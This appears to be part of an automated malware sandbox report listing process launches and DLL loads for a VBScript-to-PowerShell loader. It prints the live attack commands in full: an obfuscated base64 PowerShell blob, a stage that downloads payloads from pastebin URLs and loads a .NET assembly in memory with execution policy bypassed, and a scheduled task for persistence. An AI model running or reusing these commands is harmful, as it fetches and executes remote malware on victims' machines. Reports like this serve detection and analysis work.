?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv \| Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz \| Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg \| Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Process created: C:\Windows\SysWOW64\iexpress.exe "C:\Windows\SysWOW64\iexpress.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\iexpress.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /delete /tn task name /f	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\user\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv \| Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz \| Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg \| Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Process created: C:\Windows\SysWOW64\iexpress.exe "C:\Windows\SysWOW64\iexpress.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
